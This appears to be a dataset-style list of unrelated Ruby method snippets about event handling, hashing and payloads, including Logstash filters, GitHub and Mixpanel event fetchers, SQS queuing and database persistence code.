"def hash\n # We don't use metadata because == does not use metadata\n [event_type, event_id, data].hash ^ self.class.hash\n end",
"def collect_unknown(event_name, event_data)\n puts \"unexpected event: #{event_name}\\nstoring event data in #{SQS_CFG['queues'][0]}-moo queue\"\n message = { \n message_body: event_data.to_json,\n message_attributes: {\n event_name: {\n string_value: event_name.to_s,\n data_type: \"String\",\n },\n event_time: {\n string_value: (event_data.dig('metadata', 'event_time') || event_data.dig('data', 0, 'eventTime')).to_s,\n data_type: \"String\",\n },\n }\n }\n Shoryuken::Client.queues(\"#{SQS_CFG['queues'][0]}-moo\").send_message(message)\n # LiveEvents.perform_async(event_data, queue: \"#{SQS_CFG['queues'][0]}-moo\")\nrescue => e\n pp ['moo queue failed, saving payload to file', e, event_name]\n # write event and payload to file\n open('log/payload-cache.js', 'a') do |f|\n f << \"\\n//#{event_name}\\n\"\n f << event_data.to_json\n end\nend",
"def filter(event)\n # process each field\n events = []\n @fields.each do |field|\n if event.get(field)\n val=event.get(field)\n hash=OpenSSL::HMAC.hexdigest(@digest, @key, val.to_s).force_encoding(Encoding::UTF_8)\n p=LogStash::Event.new();\n p.set('value',val);\n p.set('key',hash);\n p.tag(@tag);\n #spawn event\n events.push(p)\n #override original value\n event.set(field,hash);\n end\n\n end\n events.push(event)\n return events\nend",
"def push_events\n saved = []\n jsonHash = request.POST[:_json];\n jsonHash.each do |jsonEvent|\n event = Event.new\n event.race_id = jsonEvent[\"raceId\"]\n event.walker_id = jsonEvent[\"walkerId\"]\n event.eventId = jsonEvent[\"eventId\"]\n event.eventType = jsonEvent[\"type\"]\n event.eventData = jsonEvent[\"data\"]\n event.batteryLevel = jsonEvent[\"batL\"]\n event.batteryState = jsonEvent[\"batS\"]\n event.timestamp = Time.zone.parse(jsonEvent[\"time\"])\n if event.save # if new\n saved << jsonEvent[\"eventId\"]\n if event.race_id != 0 # if not unknown race_id\n after_create(event)\n end\n else # if exists\n saved << jsonEvent[\"eventId\"]\n puts \"Not Saved!\" # debug print\n puts jsonEvent # debug print \n end\n end\n render :json => {:savedEventIds => saved}\n end",
"def hash\n [event_count, hour, index_id, index_name, org_name, public_id, retention].hash\n end",
"def event_body(event)\n # TODO: Create an HTTP post data codec, use that here\n if @format == \"json\"\n LogStash::Json.dump(map_event(event))\n elsif @format == \"message\"\n event.sprintf(@message)\n else\n encode(map_event(event))\n end\n end",
"def event_payload(event)\n # Lookup the picture when we don't have it's id, then write it out.\n # We want the latest asyncronously uploaded picture before/at\n # the event, within reason.\n # OVERLAPS isn't in MySQL, but apparently is more efficient.\n # XXX Potential race condition if we get here while a second picture\n # is uploading and cache the first picture's id.\n # Discussed in the LP ticket.\n # Includes/preload/joins etc. can't load event.picture association\n # unless the id is present, apparently.\n # So do a separate query as needed.\n # There is possibly an arel way, seems more obtuse, or perhaps\n # we could process the raw SQL results ourselves?\n # .joins(\"LEFT OUTER JOIN pictures ON pictures.id = events.picture_id OR ((pictures.lock_id = events.lock_id) AND ((pictures.taken_at, INTERVAL '\" + ApplicationController.MAX_PICTURE_ASYNC.to_s + \" seconds') OVERLAPS (events.event_time, events.event_time))\")\n if event.gets_photo?\n if !event.picture\n ev_time = event.event_time.strftime(\"%F %T.%3N\")\n # Might be faster to use ? ev_time substitution in SQL?\n pictures = Picture.where(lock_id: event.lock_id)\n .where(\"(taken_at, INTERVAL ?) OVERLAPS (TIMESTAMP ?, INTERVAL ?)\",\n ApplicationController.MAX_PICTURE_ASYNC.to_s + \" seconds\",\n ev_time,\n ApplicationController.MAX_PICTURE_SKEW.to_s + \" seconds\")\n .order(\"pictures.taken_at DESC\")\n .limit(1)\n if (pictures.first)\n event.picture = pictures.first\n # Performance: save the picture_id. Stupid RA, stop helping me!\n # XXX recover from race condition: don't save unless times are really close.\n # At the cost of performance in the case of upload times>MAX_PICTURE_ASYNC\n # suppressing pictures on intervening events.\n event.send(:instance_variable_set, :@readonly, false)\n if !event.save\n check_save_failure(event)\n return\n end\n end\n end\n end\n event_output = get_payload_hash(event, nil, nil, true)\n # Tell the app if it should keep polling for picture.\n if event.gets_photo? && !event.picture\n event_output[:picture_pending] = (Time.now < \n event.event_time + ApplicationController.MAX_PICTURE_ASYNC_TIME).to_s\n end\n event_output[:picture_url] = event.picture.try(:data).try(:expiring_url, GojiServer.config.s3_url_expire)\n event_output[:lock_name] = event.lock.name\n # XXX only send this when different than user_display_name (share/revoke/AccessChanged) or there is no user_display_name (expired)\n event_output[:key_user_id] = event.key.user_id if event.key\n event_output[:key_user_display_name] = event.key.user.display_name if event.key\n event_output[:user_display_name] = event.user.display_name if event.user\n event_output[:admin_display_name] = event.admin.display_name if event.admin\n\n return event_output\n end",
"def event_to_domo_hash(event)\n new_event = {}\n event.to_hash.each do |k, v|\n if v.is_a? LogStash::Timestamp\n v = DateTime.parse(v.to_s)\n v = v.strftime(\"%Y-%m-%d %H:%M:%S\")\n end\n unless k == \"@version\" or k == \"@timestamp\"\n if v.nil?\n new_event[k] = nil\n else\n new_event[k] = v.to_s\n end\n end\n end\n new_event\n end",
"def hard_save_all\n @registry.each do |item|\n SubmissionViewingEvent.create(item.to_h)\n end\n end",
"def create_sample_database\n sample_database = [\n [1, \"Order\", 1484730554, \"{\\\"customer_name\\\":\\\"Jack\\\",\\\"customer_address\\\":\\\"Trade St.\\\",\\\"status\\\":\\\"unpaid\\\"}\"],\n [2, \"Order\", 1484730623, \"{\\\"customer_name\\\":\\\"Sam\\\",\\\"customer_address\\\":\\\"Gecko St.\\\",\\\"status\\\":\\\"unpaid\\\"}\"],\n [1, \"Product\", 1484731172, \"{\\\"name\\\":\\\"Laptop\\\",\\\"price\\\":2100,\\\"stock_levels\\\":29}\"],\n [1, \"Order\", 1484731481, \"{\\\"status\\\":\\\"paid\\\",\\\"ship_date\\\":\\\"2017-01-18\\\",\\\"shipping_provider\\\":\\\"DHL\\\"}\"],\n [2, \"Product\", 1484731671, \"{\\\"name\\\":\\\"Microphones\\\",\\\"price\\\":160,\\\"stock_levels\\\":1500}\"],\n [1, \"Invoice\", 1484731920, \"{\\\"order_id\\\":7,\\\"product_ids\\\":[1,5,3],\\\"status\\\":\\\"unpaid\\\",\\\"total\\\":2500}\"],\n [1, \"Invoice\", 1484732821, \"{\\\"status\\\":\\\"paid\\\"}\"]\n ]\n\n sample_database.each do |(object_id, object_type, timestamp, payload)|\n Event.create(object_id: object_id, object_type: object_type, timestamp: Time.at(timestamp.to_i), payload: JSON.parse(payload))\n end\nend",
"def build_analytics_events_payload\n events = []\n 1000.times do\n event = {\n 'timestamp' => Process.clock_gettime(Process::CLOCK_REALTIME),\n 'name' => +'Controller/foo/bar',\n 'type' => +'Transaction',\n 'duration' => rand,\n 'databaseDuration' => rand,\n 'databaseCallCount' => rand,\n 'gcCumulative' => rand,\n 'host' => +'lo-calhost',\n 'color' => +'blue-green',\n 'shape' => +'squarish',\n 'texture' => +'sort of lumpy like a bag of frozen peas'\n }\n events << [event, {}]\n end\n [rand(1000000), events]\n end",
"def build_event_hash\n\t\t@event_hash = {}\n\t\t\n\t\teach_event { |event| @event_hash[event.id] = event }\n\tend",
"def events\n events = super\n types = self.class.events\n Hash[types.zip(events.values_at(*types))]\n end",
"def makeEntry(hash, e)\n hash[e.id] = {\n name: e.public_name,\n createTimestamp: e.createTimestamp,\n }\n if e.banned?\n hash[e.id][:noLogin] = true\n else\n # Don't publish urls for banned logins\n unless e.urls.empty?\n # need to sort to avoid random changes which seem to occur for urls\n hash[e.id][:urls] = e.urls.sort\n end\n # only add entry if there is a fingerprint\n unless e.pgp_key_fingerprints.empty?\n # need to sort to avoid random changes which seem to occur for fingerprints\n hash[e.id][:key_fingerprints] = e.pgp_key_fingerprints.sort\n end\n end\nend",
"def hash\n [key, name, event_code, event_type, district, city, state_prov, country, start_date, end_date, year, short_name, event_type_string, week, address, postal_code, gmaps_place_id, gmaps_url, lat, lng, location_name, timezone, website, first_event_id, first_event_code, webcasts, division_keys, parent_event_key, playoff_type, playoff_type_string].hash\n end",
"def event_to_hash(event)\n corrective_change = defined?(event.corrective_change) ? event.corrective_change : nil\n {\n \"status\" => event.status,\n \"timestamp\" => Puppet::Util::Puppetdb.to_wire_time(event.time),\n \"name\" => event.name,\n \"property\" => event.property,\n \"new_value\" => event.desired_value.to_s,\n \"old_value\" => event.previous_value.to_s,\n \"corrective_change\" => corrective_change,\n \"message\" => event.message,\n }\n end",
"def hash\n [attachments, created_by_id, created_by_name, created_on, id, modified_by_id, modified_by_name, modified_on, name, owners, status_id, status_name, address_business_city, address_business_country, address_business_is_primary, address_business_line1, address_business_state, address_business_zip_code, address_home_city, address_home_country, address_home_is_primary, address_home_line1, address_home_state, address_home_zip_code, address_other_city, address_other_country, address_other_is_primary, address_other_line1, address_other_state, address_other_zip_code, current_position_company_id, current_position_company_name, current_position_title, current_position_when_end, current_position_when_start, description, education_accreditation_id, education_accreditation_name, education_honors, education_institution_id, education_institution_name, education_when_end, education_when_start, email_address_other, email_address_other_is_primary, email_address_personal, email_address_personal_is_primary, email_address_work, email_address_work_is_primary, ethnicity_id, ethnicity_name, external_primary_key, first_name, gender_id, gender_name, key_date_anniversary, key_date_birthday, key_date_other, last_name, middle_name, nick_name, phone_number_fax, phone_number_fax_extension, phone_number_fax_is_primary, phone_number_home, phone_number_home_extension, phone_number_home_is_primary, phone_number_mobile, phone_number_mobile_extension, phone_number_mobile_is_primary, phone_number_other, phone_number_other_extension, phone_number_other_is_primary, phone_number_skype, phone_number_skype_extension, phone_number_skype_is_primary, phone_number_work_direct, phone_number_work_direct_extension, phone_number_work_direct_is_primary, phone_number_work_main, phone_number_work_main_extension, phone_number_work_main_is_primary, preferred_contact_method_type_id, preferred_contact_method_type_name, record_type, related_contact_assistant_first_name, related_contact_assistant_id, related_contact_assistant_is_primary, related_contact_assistant_last_name, related_contact_client_first_name, related_contact_client_id, related_contact_client_is_primary, related_contact_client_last_name, related_contact_other_first_name, related_contact_other_id, related_contact_other_is_primary, related_contact_other_last_name, related_contact_referred_by_first_name, related_contact_referred_by_id, related_contact_referred_by_is_primary, related_contact_referred_by_last_name, related_contact_spouse_first_name, related_contact_spouse_id, related_contact_spouse_is_primary, related_contact_spouse_last_name, salary, salary_details, salutation_id, salutation_name, social_aim, social_aim_is_primary, social_facebook_chat, social_facebook_chat_is_primary, social_face_time, social_face_time_is_primary, social_google_talk, social_google_talk_is_primary, social_icq, social_icq_is_primary, social_other, social_other_is_primary, social_skype, social_skype_is_primary, social_twitter, social_twitter_is_primary, social_yahoo_msg, social_yahoo_msg_is_primary, source_id, source_name, suffix_id, suffix_name, tags, website_blog, website_blog_is_primary, website_business, website_business_is_primary, website_facebook, website_facebook_is_primary, website_linked_in, website_linked_in_is_primary, website_other, website_other_is_primary, website_personal, website_personal_is_primary].hash\n end",
"def get_source_actions(blob)\n #Rails.logger.info(\"[LIB] [SOCIAL_FETCH] [FETCHER] [FACEBOOK] [get_source_actions] Entering\")\n\n hash = {}\n\n if !blob[\"likes\"].blank? and (blob[\"likes\"][\"count\"] > 0)\n friends = []\n array = blob[\"likes\"][\"data\"][0..4]\n\n if !array.blank?\n array.each do |attr|\n friends << {:name => attr[\"name\"], :id => attr[\"id\"]}\n end\n end\n\n hash[\"likes\"] = {:count => blob[\"likes\"][\"count\"], :meta => {:friends => friends }}\n end\n\n if !blob[\"comments\"].blank? and (blob[\"comments\"][\"count\"] > 0)\n\n friends = []\n array = blob[\"comments\"][\"data\"][0..4]\n\n if !array.blank?\n array.each do |attr|\n friends << {:name => attr[\"from\"][\"name\"], :id => attr[\"from\"][\"id\"]} if !attr[\"from\"].blank?\n end\n end\n\n hash[\"comments\"] = {:count => blob[\"comments\"][\"count\"], :meta => {:friends => friends}}\n end\n\n if !blob[\"shares\"].blank? and (blob[\"shares\"][\"count\"] > 0)\n hash[\"shares\"] = {:count => blob[\"shares\"][\"count\"], :meta => {}}\n end\n\n #Rails.logger.info(\"[LIB] [SOCIAL_FETCH] [FETCHER] [FACEBOOK] [get_source_actions] Leaving #{hash}\")\n\n hash\n rescue => e\n Rails.logger.error(\"[LIB] [SOCIAL_FETCH] [FETCHER] [FACEBOOK] [get_source_actions] **** RESCUE **** => #{e.message} for #{blob.inspect}\")\n return {}\n end",
"def extract_and_set_fields\n @type = raw_event['type']\n @is_public = raw_event['public']\n @payload = raw_event['payload']\n @id = raw_event['id']\n # https://github.com/igrigorik/gharchive.org/blob/c9ae11426e5bcc30fe15617d009dfc602697ecde/bigquery/schema.js#L17-L38\n @repo = parse_repo\n\n # https://github.com/igrigorik/gharchive.org/blob/c9ae11426e5bcc30fe15617d009dfc602697ecde/bigquery/schema.js#L39-L70\n @actor = parse_actor\n\n # https://github.com/igrigorik/gharchive.org/blob/c9ae11426e5bcc30fe15617d009dfc602697ecde/bigquery/schema.js#L71-L102\n @org = parse_org\n\n @created_at = parse_created_at\n end",
"def hash\n [created, changed_by, updated, id, domain, action, organization_id, webhook_id, entity_id, destination_url, format, ack_enabled, entity, changes, last_send_attempt, next_send_attempt, final_send_attempt, total_send_attempts, state, acked].hash\n end",
"def get_todays_event_hash(event_type)\n todays_event_users = get_todays_event_users(event_type)\n recipients_to_email = get_recipients_to_email(event_type)\n matched_role_recipients = RoleRecipientsManager.match_recipients_to_event(event_type, recipients_to_email, todays_event_users)\n matched_team_recipients = TeamRecipientsManager.match_recipients_to_event(event_type, recipients_to_email, todays_event_users)\n # The following 'merge' merges two hashes and also with the pipe '|' does\n # union of arrays(the values of the two hashes).\n matched_team_recipients.merge(matched_role_recipients){|key, a_val, b_val| a_val | b_val }\n end",
"def payload_data\n case @config.format\n when :json\n @payload.to_json\n when :yaml\n @payload.to_yaml\n else\n @payload.to_hash\n end\n end",
"def extract(blob)\n highlights= {}\n highlights['type'] = blob['type']\n if blob['type']==\"ref-updated\"\n highlights['project'] = blob['refUpdate']['project']\n else\n highlights['project'] = blob['change']['project']\n highlights['subject'] = blob['change']['subject']\n highlights['url'] = blob['change']['url']\n if blob['type']==\"comment-added\"\n highlights['author'] = blob['author']['name']\n highlights['comment'] = blob['comment']\n if blob['approvals']\n highlights['approval-values'] = blob['approvals'].map{|x| x['value']}\n end\n elsif blob['type']==\"change-merged\"\n highlights['submitter'] = blob['submitter']['name']\n elsif blob['type']==\"change-abandoned\"\n highlights['abandoner'] = blob['abandoner']['name']\n elsif blob['type']==\"patchset-created\"\n highlights['uploader'] = blob['uploader']['name']\n end\n end\n\n return highlights\nend",
"def load_events\n\t\t\t\treturn @data['events'].map do |eventstr, eventdata|\n\t\t\t\t\tevent = eventstr.to_sym\n\t\t\t\t\tif (Events.constants.include? event)\n\t\t\t\t\t\tnext [event, Events.const_get(event).new(eventdata)]\n\t\t\t\t\telse\n\t\t\t\t\t\t## Event doesn't exist, display warning\n\t\t\t\t\t\tinstance_type = get_instance_type_classname\n\t\t\t\t\t\tclassname = get_classname\n\t\t\t\t\t\tlog \"WARNING: #{instance_type} '#{classname}' tried to load Event '#{eventstr}' which doesn't exist.\"\n\t\t\t\t\t\tnext nil\n\t\t\t\t\tend\n\t\t\t\tend .reject { |x| !x } .to_h if (@data['events'])\n\t\t\tend",
"def handle_github_web_hook(github_post_data)\n self.latest_broadcast = []\n \n github_post_data.commits.each do |this_commit|\n warn \"Handling Github commit notification for repo #{self.name}: #{this_commit.id}\"\n commit_timestamp, commit_net_lines_added = fetch_stats_for_commit(this_commit.id)\n data_point = [ commit_timestamp.to_utc_ms, data_series[-1][1] + commit_net_lines_added ]\n \n warn \"data point: #{data_point.to_json}\"\n # record the data point in this object\n self.data_series << data_point\n \n # e.g. {\"team\": \"Team01\", \"comment\": \"added stuff\", \"data_point\": [1345775027, 1000]}\n comment = this_commit.message rescue '-'\n self.latest_broadcast << { 'team' => self.display_name, 'comment' => comment, 'data_point' => data_point }\n end\n \n return self.latest_broadcast\n end",
"def hash\n [ data, type ].hash\n end",
"def store_event_in_db(event_hash)\n newEvent = Event.new(name: event_hash[\"name\"], date: event_hash[\"dates\"][\"start\"][\"localDate\"], city: event_hash[\"_embedded\"][\"venues\"][0][\"city\"][\"name\"], state: event_hash[\"_embedded\"][\"venues\"][0][\"state\"][\"name\"], venue_name: event_hash[\"_embedded\"][\"venues\"][0][\"name\"])\n newEvent.save \n newEvent\nend",
"def store_event( event )\n\t\ttime = event.delete( '@timestamp' )\n\t\ttype = event.delete( '@type' )\n\t\tversion = event.delete( '@version' )\n\n\t\tdata = JSON.generate( event )\n\t\theaders = {\n\t\t\ttime: time,\n\t\t\ttype: type,\n\t\t\tversion: version,\n\t\t\tcontent_type: 'application/json',\n\t\t\tcontent_encoding: data.encoding.name,\n\t\t\ttimestamp: Time.now.to_f,\n\t\t}\n\n\t\t@amqp_exchange.value.publish( data, headers )\n\tend",
"def load_unstruct_event(hash)\n return unless hash\n response = []\n unless hash['data']\n @errors << \"All custom unstruct event must be contain a `data` element\" and return\n end\n outer_data = hash['data']\n inner_data = outer_data['data']\n response << { content: outer_data, definition: SchemaCache.instance[hash['schema']], schema_name: hash['schema'] }\n response << { content: inner_data, definition: SchemaCache.instance[outer_data['schema']], schema_name: outer_data['schema'] }\n response\n end",
"def event_params\n params[:event][:payload] = JSON.parse(@json_payload)\n params[:event][:name] = request.headers['X-GitHub-Event']\n params[:event][:guid] = request.headers['X-GitHub-Delivery']\n params.require(:event).permit(:name, :guid, payload: {})\n end",
"def getRepositoryEvents\n\t\trespositoryEvents = @ghClient.repository_events(@repository.to_s)\n\t\trespositoryEventsRaw = JSON.parse(@ghClient.last_response.body)\n\n\t\tghLastReponse = @ghClient.last_response\n\n\t\twhile ghLastReponse.rels.include?(:next) do\n\t\t\tghLastReponse = ghLastReponse.rels[:next].get\n\t\t\trespositoryEventsRaw.concat(JSON.parse(ghLastReponse.body))\n\t\tend\n\n\t\t# Debug Code\n\t\t# puts \"Got Repository Events, GitHub rate limit remaining: \" + @ghClient.rate_limit.remaining.to_s\n\n\t\tif respositoryEventsRaw.empty? == false\n\t\t\trespositoryEventsRaw.each do |y|\n\t\t\t\ty[\"organization\"] = @organization\n\t\t\t\ty[\"repo\"] = @repository\n\t\t\t\ty[\"downloaded_at\"] = Time.now\n\t\t\t\tyDatesFixed = self.convertRepoEventsDates(y)\n\t\t\t\tself.putIntoMongoCollRepoEvents(yDatesFixed)\n\t\t\tend\n\t\tend\n\tend",
"def fetch_all_events(params={}, save_to_db=true)\n params = setup_params(params)\n self.model_class = ::Mixpanel::Event\n \n event_names = []\n if params[:event]\n if params[:event].is_a?(Array)\n event_names += params[:event]\n else\n event_names << params[:event]\n end\n else\n # Get names of events.\n event_names = self.fetch_event_names(params, false)\n end\n \n # Get events data.\n method_url = get_method_url('events')\n \n request_params = self.select_params(params, [:type, :unit, :interval, :format, :bucket])\n request_params[:resource] = method_url\n request_params[:event] = event_names.to_json\n puts \">>>>>>>>>>>>>>>>> #{request_params.inspect}\" \n event_data = send_request(request_params)\n puts \">>>>>>>>>>>>>>>>> #{event_data}\"\n # Detect event data is empty or not\n is_empty = (event_data.blank? || event_data[RESPONSE_KEYS[:legend_size]].to_i <= 0)\n if save_to_db && !is_empty\n self.model_class.transaction do \n # Get all target ids existing in DB, in order to detect data was changed or not.\n target_ids = get_target_ids(params)\n \n # Sample data:\n # {'data': {'series': ['2010-05-29',\n # '2010-05-30',\n # '2010-05-31',\n # ],\n # 'values': {'account-page': {'2010-05-30': 1,},\n # 'splash features': {'2010-05-29': 6,\n # '2010-05-30': 4,\n # '2010-05-31': 5,\n # }\n # }\n # },\n # 'legend_size': 2}\n\n # Goal: Store each event in a single record in DB. \n series_data = event_data['data']['series']\n values_data = event_data['data']['values']\n event_names.each do |event_name|\n event_values = values_data[event_name]\n next if event_values.blank?\n \n # Get only series related to the event.\n event_series = event_values.keys & series_data\n\n # Keep the original format of the event data (based on Mixpanel API spec).\n origin_data = {\n :data => {\n :series => event_series, \n :values => {event_name => event_values}\n },\n :legend_size => 1\n }\n \n # Format hash to JSON.\n json_data = origin_data.to_json\n \n self.insert_or_update(params, target_ids, \n event_name, json_data)\n end\n end\n end\n return event_data\n end",
"def commits\n event_hash = GithubService.new(self).event_info\n event_hash.each_with_object(Hash.new(0)) do |event, hash|\n if event[:type] == \"PushEvent\" || event[:type] == \"CreateEvent\"\n hash[event[:repo][:name]] += 1\n end\n end\n end",
"def events_for target, event_types\n url = GITHUB_EVENT_API_END_POINT % target\n etag = @etag_hash[target]\n last_event = @last_event_hash[target]\n\n events_to_send = []\n page = 1\n while page <= 10\n result = @clnt.get(url, {client_id: @client_id, client_secret: @client_secret}, {\"If-None-Match\" => etag})\n break unless result.status_code == 200\n events = JSON.load result.body\n if page == 1 # etag and last event should be set when querying the very first page\n @etag_hash[target] = result.header[\"etag\"]\n @last_event_hash[target] = events[0]\n end\n\n events.each do |event|\n return events_to_send if last_event == event # no need to proceed\n events_to_send << event if event_types.accept? event\n end\n\n page += 1\n end\n\n events_to_send\n end",
"def build_event_metadata record, tags\n return unless record.try(:type_event?) && record.try(:date).present? && record.try(:coordinates).present?\n\n {\n '@type' => 'Event',\n '@context' => 'http://schema.org',\n 'publisher' => build_organization_metadata,\n 'name' => tags['og:title'],\n 'description' => tags['og:description'],\n 'startDate' => record.date.to_s(:db),\n 'image' => tags['og:image'],\n 'video' => tags['og:video'],\n # 'location' => {}, # TODO: Define this - https://developers.google.com/search/docs/data-types/event\n }\n end",
"def persist(repository)\n logger.info(\"Persisting #{@events.size} events\")\n \n @events.each do |event|\n e = event.to_h\n e[:_id] = e.delete(:id)\n repository.save(e)\n end\n end",
"def recent_commits\n public_events = @client.user_public_events @user[:login]\n public_events.select! { |e| e[:type] == \"PushEvent\" }\n commits = []\n public_events.each do |e|\n e[:payload][:commits].each do |c|\n c[:html_url] = \"https://github.com/#{e[:repo][:name]}/commit/#{c[:sha]}\"\n c[:shortcut] = \"#{e[:repo][:name]}@#{c[:sha][0..7]}\"\n end\n commits.concat e[:payload][:commits]\n end\n commits.take 15\nend",
"def event_body(event)\n LogStash::Json.dump(cfapi([event]))\n end",
"def to_h\n {\n event: event,\n subject: subject,\n mentions: mentions,\n tags: tags,\n time: time\n }\n end",
"def event_type\n headers = {}\n request.headers.each {|k, v| headers[k] = v}\n if headers.key? 'X-GitHub-Event'\n \"github_#{headers['X-GitHub-Event']}\".to_sym\n else\n 'tracker'\n end\n end",
"def log_entry(line)\n raw = line.split(@@break)\n map = Hash.new\n raw.each do |keys|\n parts = keys.split(@@value)\n map.store(parts[0],parts[1])\n end\n #unless USEMEMCACHE != true\n # if Staticentry.get_cache(Digest::MD5.hexdigest(map['data'] + map['logtype_id'].to_s)).nil?\n # static = Logtype.find(map['logtype_id']).staticentries.new\n # static.data = map['data']\n # static.save\n # end\n #else\n static = Logtype.find(map['logtype_id']).staticentries.new\n static.data = map['data']\n static.save\n #end\n unless USEMEMCACHE != true\n static = Staticentry.get_cache(Digest::MD5.hexdigest(map['data'] + map['logtype_id'].to_s))\n else\n static = Staticentry.find(Digest::MD5.hexdigest(map['data'] + map['logtype_id'].to_s))\n end\n event = static.events.new\n event.etime = map['etime'].to_i\n event.loglevel_id = map['loglevel_id'].to_i\n event.payload = map['payload']\n event.logtype_id = map['logtype_id'].to_i\n event.agent_id = map['agent_id'].to_i\n begin\n a = Agent.find(map['agent_id'])\n l = Logtype.find(map['logtype_id'])\n if a.logtypes.member?(l)\n if check_key(a, map['authkey']) \n event.save\n else\n ActiveRecord::Base.logger.error \"Event dropped -- invalid agent authkey sent for #{a.name}\"\n send_data \"1\"\n end\n else\n ActiveRecord::Base.logger.error \"Event dropped -- Agent #{a.name} is not a member of logtype #{l.name}\"\n send_data \"2\"\n end\n rescue ActiveRecord::RecordNotFound\n ActiveRecord::Base.logger.error \"Event dropped -- invalid agent_id or logtype_id specified\"\n send_data \"3\"\n end\n port, ip = Socket.unpack_sockaddr_in(get_peername)\n host = Socket.getaddrinfo(ip, 0, Socket::AF_UNSPEC, Socket::SOCK_STREAM, nil, Socket::AI_CANONNAME)[0][2]\n ActiveRecord::Base.logger.debug \"New event logged from #{host} \\n -- Log data: #{line}\"\n end",
"def hash_from_git(tree)\n ({}).tap do |objs|\n tree.each do |b|\n objs[b.name] = (\n case b\n when Grit::Tree\n hash_from_git(b.contents)\n when Grit::Blob\n b.data\n end\n )\n end\n end\n end",
"def hash\n [domain, message, stack, type].hash\n end",
"def prepare_rhn_push_info\n # TODO implement text_only stuff...\n if @errata.text_only?\n @channels = @errata.text_only_channel_list.channel_list.split(',')\n @rpms_to_upload = []\n @archives_to_upload = []\n @zstreams = []\n @fastrack = []\n @excluded_srpms = []\n else\n @channels = Set.new\n channel_map = Push::Rhn.errata_files(@errata, false)\n channel_map.each do |f|\n @channels.merge(f['rhn_channel'])\n end\n @channels = @channels.to_a.sort\n @zstreams = Set.new\n @fastrack = Set.new\n @channels.each do |c|\n @zstreams << \"#{$1}.#{$2}.z\" if c =~ /(\\d)\\.(\\d)\\.z/\n @fastrack << \"RHEL #{$1}\" if c =~ /-(\\d)-fastrack/\n @fastrack << \"RHEL 5\" if c =~ /fastrack-5/\n end\n @zstreams = @zstreams.to_a.sort\n @fastrack = @fastrack.to_a.sort\n @rpms_to_upload = rpms_for_rhn(@errata)\n @archives_to_upload = archives_for_rhn(@errata)\n @excluded_srpms = @errata.build_mappings.for_rpms.select{ |map| FtpExclusion.is_excluded?(map.package, map.release_version) }.collect{ |map| map.brew_build.nvr }\n end\n end",
"def fetch_events\n Smash[\n @connection.stacks.reload.map do |stack|\n [stack.id,\n Smash.new(\n :events => stack.events.map(&:attributes),\n :status => stack.stack_status,\n :stack_name => stack.stack_name\n )\n ]\n end\n ]\n end",
"def create_commits commits_array\n commits_array = [commits_array] if commits_array.is_a? Hash\n normalize_commit_data commits_array\n commits_array.each do |commit_data|\n create_commit add_default_commit_data(commit_data)\n end\nend",
"def github_data\n @github_data ||= Hashie::Mash.new(read_attribute(:github_data))\n end",
"def hash\n [class_id, object_type, msg_type, path, stream].hash\n end",
"def hash\n [id, name, change_number, date_created, date_modified, date_uploaded, content_uri, workspace, created_by, uploaded_by, content_type, content_length, system_type, filename, page_count, read, caller_address, receiver_address, tags, tag_values, attributes, thumbnails, upload_status, upload_destination_uri, upload_method, lock_info, acl, sharing_status, sharing_uri, download_sharing_uri, self_uri].hash\n end",
"def dissect_to_record_hashes\n end",
"def event_memo_for(key)\n ::JSON.parse(@response.body.gsub(/.*(\\{.*\\}).*/, '\\1'))[key.to_s]\n end",
"def save_events(events)\n events.each do |e|\n new_event = Event.create(e)\n end\n end",
"def retrieve(exchange)\n begin\n new = dupl = 0\n events = api_request \"https://api.github.com/events?per_page=100\"\n (new, dupl, stored) = store_count events\n\n # This means that the first page does not contain all new events. Do\n # a paged request and get everything on the queue\n if dupl == 0\n events = paged_api_request \"https://api.github.com/events?per_page=100\"\n (new1, dupl1, stored1) = store_count events\n stored = stored | stored1\n new = new + new1\n end\n\n stored.each do |e|\n repo = e['repo']['name'].gsub('/',' ')\n key = \"evt.#{e['type']}\"\n if @options[:projects_given]\n exchange.publish repo, :persistent => true, :routing_key => GHTorrent::ROUTEKEY_PROJECTS\n debug \"Published update to project #{repo}\"\n if @events_requeue.include? e['type']\n exchange.publish e['id'], :persistent => true, :routing_key => key\n end\n else\n exchange.publish e['id'], :persistent => true, :routing_key => key\n end\n end\n\n return new, dupl\n rescue StandardError => e\n STDERR.puts e.message\n STDERR.puts e.backtrace\n end\n end",
"def hash\n [action, attachments, attendees, description, duration, repeat, summary, trigger].hash\n end",
"def webhook_payload\n {}\n end",
"def event_history_objstore\n match = config_get('bgp', 'event_history_objstore', @get_args)\n return unless match.is_a?(Array)\n return 'false' if match[0] == 'no '\n return 'true' unless match[1]\n return match[1] if match[1][/\\A\\d+\\z/]\n 'size_' + match[1]\n end",
"def events\n @events ||= Array(context[:events]).reverse.map { |event| Concierge::SafeAccessHash.new(event) }\n end",
"def inject_payload!(payload)\n payload[:site_url] = website.url\n payload[:event] = event\n end",
"def hash\n [id, user, client, remote_ip, service_name, event_date, message, action, entity, entity_type, property_changes, context].hash\n end",
"def read_events\n return unless @config.has_key?('events')\n\n @config['events'].each_pair do |event, actions|\n @events[event.to_sym] = Array(actions)\n end\n end",
"def map_from_events(events)\n events = [*events]\n existing = fetch_existing_map(events)\n events.each.with_object({}) do |evt, hash|\n hash[evt] = new(\n id: evt.meetup_event_id,\n last_update: evt.meetup_last_update,\n existing_event: existing.fetch(evt.meetup_event_id, nil))\n end\n end",
"def sync_from_event event\n action = event[\"action\"]\n github_issue = event[\"issue\"]\n issue_number = github_issue[\"number\"]\n author = Author.find_by_gh_issue_number(issue_number)\n case action\n when \"edited\"\n update_or_create_author_from_github(author, github_issue)\n when \"opened\"\n create_or_update_author_from_github(author, github_issue)\n when \"deleted\"\n delete_author(author, github_issue[\"number\"])\n else\n Rails.logger.warn \"Unhandled event action '#{action}' received from GitHub event\"\n end\n end",
"def make_new_event\n event = Hash.new\n event[:event_game_type] = 2 # 1=Pairs, 2=Teams.\n event\nend",
"def hash\n [serial_number, timestamp, description, controller_id, device_id, subdevice_id, segment_id, event_type, event_subtype, event_text, badge_id, badge_id_str, badge_extended_id, badge_issue_code, asset_id, cardholder_key, alarm_priority, alarm_ack_blue_channel, alarm_ack_green_channel, alarm_ack_red_channel, alarm_blue_channel, alarm_green_channel, alarm_red_channel, access_result, cardholder_entered, duress, controller_name, event_source_name, cardholder_first_name, cardholder_last_name, device_name, subdevice_name, must_acknowledge, must_mark_in_progress].hash\n end",
